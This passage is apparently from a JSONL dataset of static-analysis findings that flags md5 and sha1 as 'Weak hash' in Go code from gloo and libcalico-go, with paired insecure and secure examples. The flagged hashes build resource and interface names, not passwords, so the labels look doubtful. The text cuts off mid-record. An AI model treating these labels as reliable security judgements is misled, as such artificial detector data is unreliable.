(\n\t\"context\"\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"sort\"\n\t\"strings\"\n\n\tv1 \"github.com/solo-io/gloo/projects/gloo/pkg/api/v1\"\n\t\"github.com/solo-io/gloo/projects/gloo/pkg/api/v1/plugins\"\n\tgrpcplugin \"github.com/solo-io/gloo/projects/gloo/pkg/api/v1/plugins/grpc\"\n\tkubeplugin \"github.com/solo-io/gloo/projects/gloo/pkg/api/v1/plugins/kubernetes\"\n\t\"github.com/solo-io/gloo/projects/gloo/pkg/discovery\"\n\t\"github.com/solo-io/solo-kit/pkg/errors\"\n\t\"github.com/solo-io/solo-kit/pkg/utils/kubeutils\"\n\tkubev1 \"k8s.io/api/core/v1\"\n\t\"k8s.io/apimachinery/pkg/labels\"\n)\n\nconst GlooH2Annotation = \"gloo.solo.io/h2_service\"\n\nvar ignoredLabels = []string{\n\t\"pod-template-hash\", // it is common and provides nothing useful for discovery\n\t\"controller-revision-hash\", // set by helm\n\t\"pod-template-generation\", // set by helm\n\t\"release\", // set by helm\n}\n\ntype UpstreamConverter interface {\n\tUpstreamsForService(ctx context.Context, svc *kubev1.Service, pods []*kubev1.Pod) v1.UpstreamList\n}\n\nfunc DefaultUpstreamConverter() *KubeUpstreamConverter {\n\tkuc := new(KubeUpstreamConverter)\n\tkuc.createUpstream = createUpstream\n\treturn kuc\n}\n\ntype KubeUpstreamConverter struct {\n\tcreateUpstream func(ctx context.Context, svc *kubev1.Service, port kubev1.ServicePort, labels map[string]string) *v1.Upstream\n}\n\nfunc (uc *KubeUpstreamConverter) UpstreamsForService(ctx context.Context, svc *kubev1.Service, pods []*kubev1.Pod) v1.UpstreamList {\n\n\tuniqueLabelSets := GetUniqueLabelSets(svc, pods)\n\treturn uc.CreateUpstreamForLabels(ctx, uniqueLabelSets, svc)\n}\n\nfunc (uc *KubeUpstreamConverter) CreateUpstreamForLabels(ctx context.Context, uniqueLabelSets []map[string]string, svc *kubev1.Service) v1.UpstreamList {\n\tvar upstreams v1.UpstreamList\n\tfor _, extendedLabels := range uniqueLabelSets {\n\t\tfor _, port := range svc.Spec.Ports {\n\t\t\tupstreams = append(upstreams, uc.createUpstream(ctx, svc, port, extendedLabels))\n\t\t}\n\t}\n\treturn upstreams\n}\n\nfunc GetUniqueLabelSets(svc *kubev1.Service, pods []*kubev1.Pod) []map[string]string {\n\n\tvar podlabelss []map[string]string\n\tfor _, pod := range pods {\n\t\tif pod.Namespace != svc.Namespace {\n\t\t\tcontinue\n\t\t}\n\t\tpodlabelss = append(podlabelss, pod.ObjectMeta.Labels)\n\t}\n\n\treturn GetUniqueLabelSetsForObjects(svc.Spec.Selector, podlabelss)\n}\n\nfunc GetUniqueLabelSetsForObjects(selector map[string]string, podlabelss []map[string]string) []map[string]string {\n\tuniqueLabelSets := []map[string]string{\n\t\tselector,\n\t}\n\tif len(selector) > 0 {\n\t\tfor _, podlabels := range podlabelss {\n\t\t\tif !labels.AreLabelsInWhiteList(selector, podlabels) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// create upstreams for the extra labels beyond the selector\n\t\t\textendedLabels := make(map[string]string)\n\t\taddExtendedLabels:\n\t\t\tfor k, v := range podlabels {\n\t\t\t\t// special cases we ignore\n\t\t\t\tfor _, ignoredLabel := range ignoredLabels {\n\t\t\t\t\tif k == ignoredLabel {\n\t\t\t\t\t\tcontinue addExtendedLabels\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\textendedLabels[k] = v\n\t\t\t}\n\t\t\tif len(extendedLabels) > 0 && !containsMap(uniqueLabelSets, extendedLabels) {\n\t\t\t\tuniqueLabelSets = append(uniqueLabelSets, extendedLabels)\n\t\t\t}\n\t\t}\n\n\t}\n\treturn uniqueLabelSets\n}\n\nfunc createUpstream(ctx context.Context, svc *kubev1.Service, port kubev1.ServicePort, labels map[string]string) *v1.Upstream {\n\tmeta := svc.ObjectMeta\n\tcoremeta := kubeutils.FromKubeMeta(meta)\n\tcoremeta.ResourceVersion = \"\"\n\textraLabels := make(map[string]string)\n\t// find extra keys not present in the service selector\n\tfor k, v := range labels {\n\t\tif _, ok := svc.Spec.Selector[k]; ok {\n\t\t\tcontinue\n\t\t}\n\t\textraLabels[k] = v\n\t}\n\tcoremeta.Name = strings.ToLower(UpstreamName(meta.Namespace, meta.Name, port.Port, extraLabels))\n\treturn &v1.Upstream{\n\t\tMetadata: coremeta,\n\t\tUpstreamSpec: &v1.UpstreamSpec{\n\t\t\tUpstreamType: &v1.UpstreamSpec_Kube{\n\t\t\t\tKube: &kubeplugin.UpstreamSpec{\n\t\t\t\t\tServiceSpec: getServiceSpec(svc, port),\n\t\t\t\t\tServiceName: meta.Name,\n\t\t\t\t\tServiceNamespace: meta.Namespace,\n\t\t\t\t\tServicePort: uint32(port.Port),\n\t\t\t\t\tSelector: labels,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tDiscoveryMetadata: &v1.DiscoveryMetadata{},\n\t}\n}\n\nfunc getServiceSpec(svc *kubev1.Service, port kubev1.ServicePort) *plugins.ServiceSpec {\n\tgrpcSpec := &plugins.ServiceSpec{\n\t\tPluginType: &plugins.ServiceSpec_Grpc{\n\t\t\tGrpc: &grpcplugin.ServiceSpec{},\n\t\t},\n\t}\n\tif strings.HasPrefix(port.Name, \"grpc\") || strings.HasPrefix(port.Name, \"h2\") {\n\t\treturn grpcSpec\n\t}\n\n\tif svc.Annotations != nil {\n\t\tif svc.Annotations[GlooH2Annotation] == \"true\" {\n\t\t\treturn grpcSpec\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc UpstreamName(serviceNamespace, serviceName string, servicePort int32, extraLabels map[string]string) string {\n\tconst maxLen = 63\n\n\tvar labelsTag string\n\tif len(extraLabels) > 0 {\n\t\t_, values := keysAndValues(extraLabels)\n\t\tlabelsTag = fmt.Sprintf(\"-%v\", strings.Join(values, \"-\"))\n\t}\n\tname := fmt.Sprintf(\"%s-%s%s-%v\", serviceNamespace, serviceName, labelsTag, servicePort)\n\tif len(name) > maxLen {\n\t\thash := md5.Sum([]byte(name))\n\t\thexhash := fmt.Sprintf(\"%x\", hash)\n\t\tname = name[:maxLen-len(hexhash)] + hexhash\n\t}\n\tname = strings.Replace(name, \".\", \"-\", -1)\n\treturn name\n}\n\n// TODO: move to a utils package\n\nfunc containsString(s string, slice []string) bool {\n\tfor _, s2 := range slice {\n\t\tif s2 == s {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc containsMap(maps []map[string]string, item map[string]string) bool {\n\tfor _, m := range maps {\n\t\tif reflect.DeepEqual(m, item) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc keysAndValues(m map[string]string) ([]string, []string) {\n\tvar keys []string\n\tfor k := range m {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\tvar values []string\n\tfor _, k := range keys {\n\t\tvalues = append(values, m[k])\n\t}\n\treturn keys, values\n}\n\nfunc skip(svc *kubev1.Service, opts discovery.Opts) bool {\n\t// ilackarms: allow user to override the skip with an annotation\n\t// force discovery for a service with no selector\n\tif svc.ObjectMeta.Annotations[discoveryAnnotationKey] == discoveryAnnotationTrue {\n\t\treturn false\n\t}\n\t// note: ilackarms: IgnoredServices is not set anywhere\n\tfor _, name := range opts.KubeOpts.IgnoredServices {\n\t\tif svc.Name == name {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (p *plugin) UpdateUpstream(original, desired *v1.Upstream) (bool, error) {\n\treturn UpdateUpstream(original, desired)\n}\n\nfunc UpdateUpstream(original, desired *v1.Upstream) (bool, error) {\n\toriginalSpec, ok := original.UpstreamSpec.UpstreamType.(*v1.UpstreamSpec_Kube)\n\tif !ok {\n\t\treturn false, errors.Errorf(\"internal error: expected *v1.UpstreamSpec_Kube, got %v\", reflect.TypeOf(original.UpstreamSpec.UpstreamType).Name())\n\t}\n\tdesiredSpec, ok := desired.UpstreamSpec.UpstreamType.(*v1.UpstreamSpec_Kube)\n\tif !ok {\n\t\treturn false, errors.Errorf(\"internal error: expected *v1.UpstreamSpec_Kube, got %v\", reflect.TypeOf(original.UpstreamSpec.UpstreamType).Name())\n\t}\n\t// copy service spec, we don't want to overwrite that\n\tdesiredSpec.Kube.ServiceSpec = originalSpec.Kube.ServiceSpec\n\t// copy labels; user may have written them over. cannot be auto-discovered\n\tdesiredSpec.Kube.Selector = originalSpec.Kube.Selector\n\n\t// do not override ssl and subset config if none specified by discovery\n\tif desired.UpstreamSpec.SslConfig == nil {\n\t\tdesired.UpstreamSpec.SslConfig = original.UpstreamSpec.SslConfig\n\t}\n\tif desired.UpstreamSpec.CircuitBreakers == nil {\n\t\tdesired.UpstreamSpec.CircuitBreakers = original.UpstreamSpec.CircuitBreakers\n\t}\n\tif desired.UpstreamSpec.LoadBalancerConfig == nil {\n\t\tdesired.UpstreamSpec.LoadBalancerConfig = original.UpstreamSpec.LoadBalancerConfig\n\t}\n\tif desired.UpstreamSpec.ConnectionConfig == nil {\n\t\tdesired.UpstreamSpec.ConnectionConfig = original.UpstreamSpec.ConnectionConfig\n\t}\n\n\tif desiredSubsetMutator, ok := desired.UpstreamSpec.UpstreamType.(v1.SubsetSpecMutator); ok {\n\t\tif desiredSubsetMutator.GetSubsetSpec() == nil {\n\t\t\tdesiredSubsetMutator.SetSubsetSpec(original.UpstreamSpec.UpstreamType.(v1.SubsetSpecGetter).GetSubsetSpec())\n\t\t}\n\t}\n\n\tif originalSpec.Equal(desiredSpec) {\n\t\treturn false, nil\n\t}\n\n\treturn true, nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "396d57a546f9165cda8eba241d8292d8b48a0c80b26a4ba0259df7a4f07e789c", "license": {"spdx": ["Apache-2.0"], "repo": "unai-ttxu/libcalico-go", "path": "lib/backend/k8s/conversion/conversion.go", "repo_head_hexsha": "6e138789957378a74f5a3d0499f1d339ad5c9362", "stack_hexsha": "9ff82e39780851b57d21a088ad4cbe043a31a83c", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 18, "entireCode": "// Copyright (c) 2016-2019 Tigera, Inc. All rights reserved.\n\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage conversion\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\n\tlog \"github.com/sirupsen/logrus\"\n\tkapiv1 \"k8s.io/api/core/v1\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\n\tapiv3 \"github.com/unai-ttxu/libcalico-go/lib/apis/v3\"\n\t\"github.com/unai-ttxu/libcalico-go/lib/backend/model\"\n\t\"github.com/unai-ttxu/libcalico-go/lib/names\"\n\tcnet \"github.com/unai-ttxu/libcalico-go/lib/net\"\n\t\"github.com/unai-ttxu/libcalico-go/lib/numorstring\"\n\tnetworkingv1 \"k8s.io/api/networking/v1\"\n\t\"k8s.io/apimachinery/pkg/util/intstr\"\n)\n\nvar (\n\tprotoTCP = kapiv1.ProtocolTCP\n)\n\ntype selectorType int8\n\nconst (\n\tSelectorNamespace selectorType = iota\n\tSelectorPod\n)\n\n// TODO: make this private and expose a public conversion interface instead\ntype Converter struct{}\n\n// VethNameForWorkload returns a deterministic veth name\n// for the given Kubernetes workload (WEP) name and namespace.\nfunc VethNameForWorkload(namespace, podname string) string {\n\t// A SHA1 is always 20 bytes long, and so is sufficient for generating the\n\t// veth name and mac addr.\n\th := sha1.New()\n\th.Write([]byte(fmt.Sprintf(\"%s.%s\", namespace, podname)))\n\tprefix := os.Getenv(\"FELIX_INTERFACEPREFIX\")\n\tif prefix == \"\" {\n\t\t// Prefix is not set. Default to \"cali\"\n\t\tprefix = \"cali\"\n\t} else {\n\t\t// Prefix is set - use the first value in the list.\n\t\tsplits := strings.Split(prefix, \",\")\n\t\tprefix = splits[0]\n\t}\n\tlog.WithField(\"prefix\", prefix).Debugf(\"Using prefix to create a WorkloadEndpoint veth name\")\n\treturn fmt.Sprintf(\"%s%s\", prefix, hex.EncodeToString(h.Sum(nil))[:11])\n}\n\n// ParseWorkloadName extracts the Node name, Orchestrator, Pod name and endpoint from the\n// given WorkloadEndpoint name.\n// The expected format for k8s is -k8s--\nfunc (c Converter) ParseWorkloadEndpointName(workloadName string) (names.WorkloadEndpointIdentifiers, error) {\n\treturn names.ParseWorkloadEndpointName(workloadName)\n}\n\n// NamespaceToProfile converts a Namespace to a Calico Profile. The Profile stores\n// labels from the Namespace which are inherited by the WorkloadEndpoints within\n// the Profile. This Profile also has the default ingress and egress rules, which are both 'allow'.\nfunc (c Converter) NamespaceToProfile(ns *kapiv1.Namespace) (*model.KVPair, error) {\n\t// Generate the labels to apply to the profile, using a special prefix\n\t// to indicate that these are the labels from the parent Kubernetes Namespace.\n\tlabels := map[string]string{}\n\tfor k, v := range ns.Labels {\n\t\tlabels[NamespaceLabelPrefix+k] = v\n\t}\n\n\t// Create the profile object.\n\tname := NamespaceProfileNamePrefix + ns.Name\n\tprofile := apiv3.NewProfile()\n\tprofile.ObjectMeta = metav1.ObjectMeta{\n\t\tName: name,\n\t\tCreationTimestamp: ns.CreationTimestamp,\n\t\tUID: ns.UID,\n\t}\n\tprofile.Spec = apiv3.ProfileSpec{\n\t\tIngress: []apiv3.Rule{{Action: apiv3.Allow}},\n\t\tEgress: []apiv3.Rule{{Action: apiv3.Allow}},\n\t}\n\n\t// Only set labels to apply when there are actually labels. This makes the\n\t// result of this function consistent with the struct as loaded directly\n\t// from etcd, which uses nil for the empty map.\n\tif len(labels) != 0 {\n\t\tprofile.Spec.LabelsToApply = labels\n\t}\n\n\t// Embed the profile in a KVPair.\n\tkvp := model.KVPair{\n\t\tKey: model.ResourceKey{\n\t\t\tName: name,\n\t\t\tKind: apiv3.KindProfile,\n\t\t},\n\t\tValue: profile,\n\t\tRevision: c.JoinProfileRevisions(ns.ResourceVersion, \"\"),\n\t}\n\treturn &kvp, nil\n}\n\n// IsValidCalicoWorkloadEndpoint returns true if the pod should be shown as a workloadEndpoint\n// in the Calico API and false otherwise. Note: since we completely ignore notifications for\n// invalid Pods, it is important that pods can only transition from not-valid to valid and not\n// the other way. If they transition from valid to invalid, we'll fail to emit a deletion\n// event in the watcher.\nfunc (c Converter) IsValidCalicoWorkloadEndpoint(pod *kapiv1.Pod) bool {\n\tif c.IsHostNetworked(pod) {\n\t\tlog.WithField(\"pod\", pod.Name).Debug(\"Pod is host networked.\")\n\t\treturn false\n\t} else if !c.IsScheduled(pod) {\n\t\tlog.WithField(\"pod\", pod.Name).Debug(\"Pod is not scheduled.\")\n\t\treturn false\n\t}\n\treturn true\n}\n\n// IsReadyCalicoPod returns true if the pod is a valid Calico WorkloadEndpoint and has\n// an IP address assigned (i.e. it's ready for Calico networking).\nfunc (c Converter) IsReadyCalicoPod(pod *kapiv1.Pod) bool {\n\tif !c.IsValidCalicoWorkloadEndpoint(pod) {\n\t\treturn false\n\t} else if !c.HasIPAddress(pod) {\n\t\tlog.WithField(\"pod\", pod.Name).Debug(\"Pod does not have an IP address.\")\n\t\treturn false\n\t}\n\treturn true\n}\n\nconst (\n\t// Completed is documented but doesn't seem to be in the API, it should be safe to include.\n\t// Maybe it's in an older version of the API?\n\tpodCompleted kapiv1.PodPhase = \"Completed\"\n)\n\nfunc (c Converter) IsFinished(pod *kapiv1.Pod) bool {\n\tswitch pod.Status.Phase {\n\tcase kapiv1.PodFailed, kapiv1.PodSucceeded, podCompleted:\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (c Converter) IsScheduled(pod *kapiv1.Pod) bool {\n\treturn pod.Spec.NodeName != \"\"\n}\n\nfunc (c Converter) IsHostNetworked(pod *kapiv1.Pod) bool {\n\treturn pod.Spec.HostNetwork\n}\n\nfunc (c Converter) HasIPAddress(pod *kapiv1.Pod) bool {\n\treturn pod.Status.PodIP != \"\" || pod.Annotations[AnnotationPodIP] != \"\"\n}\n\n// GetPodIPs extracts the IP addresses from a Kubernetes Pod. At present, only a single IP\n// is expected/supported. GetPodIPs loads the IP either from the PodIP field, if present, or\n// the calico podIP annotation.\nfunc (c Converter) GetPodIPs(pod *kapiv1.Pod) ([]string, error) {\n\tvar podIP string\n\tif podIP = pod.Status.PodIP; podIP != \"\" {\n\t\tlog.WithField(\"ip\", podIP).Debug(\"PodIP field filled in.\")\n\t} else if podIP = pod.Annotations[AnnotationPodIP]; podIP != \"\" {\n\t\tlog.WithField(\"ip\", podIP).Debug(\"PodIP missing, falling back on Calico annotation.\")\n\t} else {\n\t\tlog.WithField(\"ip\", podIP).Debug(\"Pod has no IP.\")\n\t\treturn nil, nil\n\t}\n\t_, ipNet, err := cnet.ParseCIDROrIP(podIP)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\"ip\": podIP, \"pod\": pod.Name}).WithError(err).Error(\"Failed to parse pod IP\")\n\t\treturn nil, err\n\t}\n\treturn []string{ipNet.String()}, nil\n}\n\n// PodToWorkloadEndpoint converts a Pod to a WorkloadEndpoint. It assumes the calling code\n// has verified that the provided Pod is valid to convert to a WorkloadEndpoint.\n// PodToWorkloadEndpoint requires a Pods Name and Node Name to be populated. It will\n// fail to convert from a Pod to WorkloadEndpoint otherwise.\nfunc (c Converter) PodToWorkloadEndpoint(pod *kapiv1.Pod) (*model.KVPair, error) {\n\tlog.WithField(\"pod\", pod).Debug(\"Converting pod to WorkloadEndpoint\")\n\t// Get all the profiles that apply\n\tvar profiles []string\n\n\t// Pull out the Namespace based profile off the pod name and Namespace.\n\tprofiles = append(profiles, NamespaceProfileNamePrefix+pod.Namespace)\n\n\t// Pull out the Serviceaccount based profile off the pod SA and namespace\n\tif pod.Spec.ServiceAccountName != \"\" {\n\t\tprofiles = append(profiles, serviceAccountNameToProfileName(pod.Spec.ServiceAccountName, pod.Namespace))\n\t}\n\n\twepids := names.WorkloadEndpointIdentifiers{\n\t\tNode: pod.Spec.NodeName,\n\t\tOrchestrator: apiv3.OrchestratorKubernetes,\n\t\tEndpoint: \"eth0\",\n\t\tPod: pod.Name,\n\t}\n\twepName, err := wepids.CalculateWorkloadEndpointName(false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tipNets, err := c.GetPodIPs(pod)\n\tif err != nil {\n\t\t// IP address was present but malformed in some way, handle as an explicit failure.\n\t\treturn nil, err\n\t}\n\n\tif c.IsFinished(pod) {\n\t\t// Pod is finished but not yet deleted. In this state the IP will have been freed and returned to the pool\n\t\t// so we need to make sure we don't let the caller believe it still belongs to this endpoint.\n\t\t// Pods with no IPs will get filtered out before they get to Felix in the watcher syncer cache layer.\n\t\t// We can't pretend the workload endpoint is deleted _here_ because that would confuse users of the\n\t\t// native v3 Watch() API.\n\t\tipNets = nil\n\t}\n\n\t// Generate the interface name based on workload. This must match\n\t// the host-side veth configured by the CNI plugin.\n\tinterfaceName := VethNameForWorkload(pod.Namespace, pod.Name)\n\n\t// Build the labels map. Start with the pod labels, and append two additional labels for\n\t// namespace and orchestrator matches.\n\tlabels := pod.Labels\n\tif labels == nil {\n\t\tlabels = make(map[string]string, 2)\n\t}\n\tlabels[apiv3.LabelNamespace] = pod.Namespace\n\tlabels[apiv3.LabelOrchestrator] = apiv3.OrchestratorKubernetes\n\n\tif pod.Spec.ServiceAccountName != \"\" {\n\t\tlabels[apiv3.LabelServiceAccount] = pod.Spec.ServiceAccountName\n\t}\n\n\t// Pull out floating IP annotation\n\tvar floatingIPs []apiv3.IPNAT\n\tif annotation, ok := pod.Annotations[\"cni.projectcalico.org/floatingIPs\"]; ok && len(ipNets) > 0 {\n\n\t\t// Parse Annotation data\n\t\tvar ips []string\n\t\terr := json.Unmarshal([]byte(annotation), &ips)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to parse '%s' as JSON: %s\", annotation, err)\n\t\t}\n\n\t\t// Get target for NAT\n\t\tpodip, podnet, err := cnet.ParseCIDROrIP(ipNets[0])\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Failed to parse pod IP: %s\", err)\n\t\t}\n\n\t\tnetmask, _ := podnet.Mask.Size()\n\n\t\tif netmask != 32 && netmask != 128 {\n\t\t\treturn nil, fmt.Errorf(\"PodIP is not a valid IP: Mask size is %d, not 32 or 128\", netmask)\n\t\t}\n\n\t\tfor _, ip := range ips {\n\t\t\tfloatingIPs = append(floatingIPs, apiv3.IPNAT{\n\t\t\t\tInternalIP: podip.String(),\n\t\t\t\tExternalIP: ip,\n\t\t\t})\n\t\t}\n\t}\n\n\t// Map any named ports through.\n\tvar endpointPorts []apiv3.EndpointPort\n\tfor _, container := range pod.Spec.Containers {\n\t\tfor _, containerPort := range container.Ports {\n\t\t\tif containerPort.Name != \"\" && containerPort.ContainerPort != 0 {\n\t\t\t\tvar modelProto numorstring.Protocol\n\t\t\t\tswitch containerPort.Protocol {\n\t\t\t\tcase kapiv1.ProtocolUDP:\n\t\t\t\t\tmodelProto = numorstring.ProtocolFromString(\"udp\")\n\t\t\t\tcase kapiv1.ProtocolTCP, kapiv1.Protocol(\"\") /* K8s default is TCP. */ :\n\t\t\t\t\tmodelProto = numorstring.ProtocolFromString(\"tcp\")\n\t\t\t\tdefault:\n\t\t\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\t\t\"protocol\": containerPort.Protocol,\n\t\t\t\t\t\t\"pod\": pod,\n\t\t\t\t\t\t\"port\": containerPort,\n\t\t\t\t\t}).Debug(\"Ignoring named port with unknown protocol\")\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tendpointPorts = append(endpointPorts, apiv3.EndpointPort{\n\t\t\t\t\tName: containerPort.Name,\n\t\t\t\t\tProtocol: modelProto,\n\t\t\t\t\tPort: uint16(containerPort.ContainerPort),\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\t// Create the workload endpoint.\n\twep := apiv3.NewWorkloadEndpoint()\n\twep.ObjectMeta = metav1.ObjectMeta{\n\t\tName: wepName,\n\t\tNamespace: pod.Namespace,\n\t\tCreationTimestamp: pod.CreationTimestamp,\n\t\tUID: pod.UID,\n\t\tLabels: labels,\n\t\tGenerateName: pod.GenerateName,\n\t}\n\twep.Spec = apiv3.WorkloadEndpointSpec{\n\t\tOrchestrator: \"k8s\",\n\t\tNode: pod.Spec.NodeName,\n\t\tPod: pod.Name,\n\t\tEndpoint: \"eth0\",\n\t\tInterfaceName: interfaceName,\n\t\tProfiles: profiles,\n\t\tIPNetworks: ipNets,\n\t\tPorts: endpointPorts,\n\t\tIPNATs: floatingIPs,\n\t}\n\n\t// Embed the workload endpoint into a KVPair.\n\tkvp := model.KVPair{\n\t\tKey: model.ResourceKey{\n\t\t\tName: wepName,\n\t\t\tNamespace: pod.Namespace,\n\t\t\tKind: apiv3.KindWorkloadEndpoint,\n\t\t},\n\t\tValue: wep,\n\t\tRevision: pod.ResourceVersion,\n\t}\n\treturn &kvp, nil\n}\n\n// K8sNetworkPolicyToCalico converts a k8s NetworkPolicy to a model.KVPair.\nfunc (c Converter) K8sNetworkPolicyToCalico(np *networkingv1.NetworkPolicy) (*model.KVPair, error) {\n\t// Pull out important fields.\n\tpolicyName := fmt.Sprintf(K8sNetworkPolicyNamePrefix + np.Name)\n\n\t// We insert all the NetworkPolicy Policies at order 1000.0 after conversion.\n\t// This order might change in future.\n\torder := float64(1000.0)\n\n\t// Generate the ingress rules list.\n\tvar ingressRules []apiv3.Rule\n\tfor _, r := range np.Spec.Ingress {\n\t\trules, err := c.k8sRuleToCalico(r.From, r.Ports, np.Namespace, true)\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Warn(\"dropping k8s rule that couldn't be converted.\")\n\t\t} else {\n\t\t\tingressRules = append(ingressRules, rules...)\n\t\t}\n\t}\n\n\t// Generate the egress rules list.\n\tvar egressRules []apiv3.Rule\n\tfor _, r := range np.Spec.Egress {\n\t\trules, err := c.k8sRuleToCalico(r.To, r.Ports, np.Namespace, false)\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Warn(\"dropping k8s rule that couldn't be converted\")\n\t\t} else {\n\t\t\tegressRules = append(egressRules, rules...)\n\t\t}\n\t}\n\n\t// Calculate Types setting.\n\tingress := false\n\tegress := false\n\tfor _, policyType := range np.Spec.PolicyTypes {\n\t\tswitch policyType {\n\t\tcase networkingv1.PolicyTypeIngress:\n\t\t\tingress = true\n\t\tcase networkingv1.PolicyTypeEgress:\n\t\t\tegress = true\n\t\t}\n\t}\n\ttypes := []apiv3.PolicyType{}\n\tif ingress {\n\t\ttypes = append(types, apiv3.PolicyTypeIngress)\n\t}\n\tif egress {\n\t\ttypes = append(types, apiv3.PolicyTypeEgress)\n\t} else if len(egressRules) > 0 {\n\t\t// Egress was introduced at the same time as policyTypes. It shouldn't be possible to\n\t\t// receive a NetworkPolicy with an egress rule but without \"Egress\" specified in its types,\n\t\t// but we'll warn about it anyway.\n\t\tlog.Warn(\"K8s PolicyTypes don't include 'egress', but NetworkPolicy has egress rules.\")\n\t}\n\n\t// If no types were specified in the policy, then we're running on a cluster that doesn't\n\t// include support for that field in the API. In that case, the correct behavior is for the policy\n\t// to apply to only ingress traffic.\n\tif len(types) == 0 {\n\t\ttypes = append(types, apiv3.PolicyTypeIngress)\n\t}\n\n\t// Create the NetworkPolicy.\n\tpolicy := apiv3.NewNetworkPolicy()\n\tpolicy.ObjectMeta = metav1.ObjectMeta{\n\t\tName: policyName,\n\t\tNamespace: np.Namespace,\n\t\tCreationTimestamp: np.CreationTimestamp,\n\t\tUID: np.UID,\n\t}\n\tpolicy.Spec = apiv3.NetworkPolicySpec{\n\t\tOrder: &order,\n\t\tSelector: c.k8sSelectorToCalico(&np.Spec.PodSelector, SelectorPod),\n\t\tIngress: ingressRules,\n\t\tEgress: egressRules,\n\t\tTypes: types,\n\t}\n\n\t// Build and return the KVPair.\n\treturn &model.KVPair{\n\t\tKey: model.ResourceKey{\n\t\t\tName: policyName,\n\t\t\tNamespace: np.Namespace,\n\t\t\tKind: apiv3.KindNetworkPolicy,\n\t\t},\n\t\tValue: policy,\n\t\tRevision: np.ResourceVersion,\n\t}, nil\n}\n\n// k8sSelectorToCalico takes a namespaced k8s label selector and returns the Calico\n// equivalent.\nfunc (c Converter) k8sSelectorToCalico(s *metav1.LabelSelector, selectorType selectorType) string {\n\t// Only prefix pod selectors - this won't work for namespace selectors.\n\tselectors := []string{}\n\tif selectorType == SelectorPod {\n\t\tselectors = append(selectors, fmt.Sprintf(\"%s == 'k8s'\", apiv3.LabelOrchestrator))\n\t}\n\n\tif s == nil {\n\t\treturn strings.Join(selectors, \" && \")\n\t}\n\n\t// For namespace selectors, if they are present but have no terms, it means \"select all\n\t// namespaces\". We use empty string to represent the nil namespace selector, so use all() to\n\t// represent all namespaces.\n\tif selectorType == SelectorNamespace && len(s.MatchLabels) == 0 && len(s.MatchExpressions) == 0 {\n\t\treturn \"all()\"\n\t}\n\n\t// matchLabels is a map key => value, it means match if (label[key] ==\n\t// value) for all keys.\n\tkeys := make([]string, 0, len(s.MatchLabels))\n\tfor k := range s.MatchLabels {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\tfor _, k := range keys {\n\t\tv := s.MatchLabels[k]\n\t\tselectors = append(selectors, fmt.Sprintf(\"%s == '%s'\", k, v))\n\t}\n\n\t// matchExpressions is a list of in/notin/exists/doesnotexist tests.\n\tfor _, e := range s.MatchExpressions {\n\t\tvalueList := strings.Join(e.Values, \"', '\")\n\n\t\t// Each selector is formatted differently based on the operator.\n\t\tswitch e.Operator {\n\t\tcase metav1.LabelSelectorOpIn:\n\t\t\tselectors = append(selectors, fmt.Sprintf(\"%s in { '%s' }\", e.Key, valueList))\n\t\tcase metav1.LabelSelectorOpNotIn:\n\t\t\tselectors = append(selectors, fmt.Sprintf(\"%s not in { '%s' }\", e.Key, 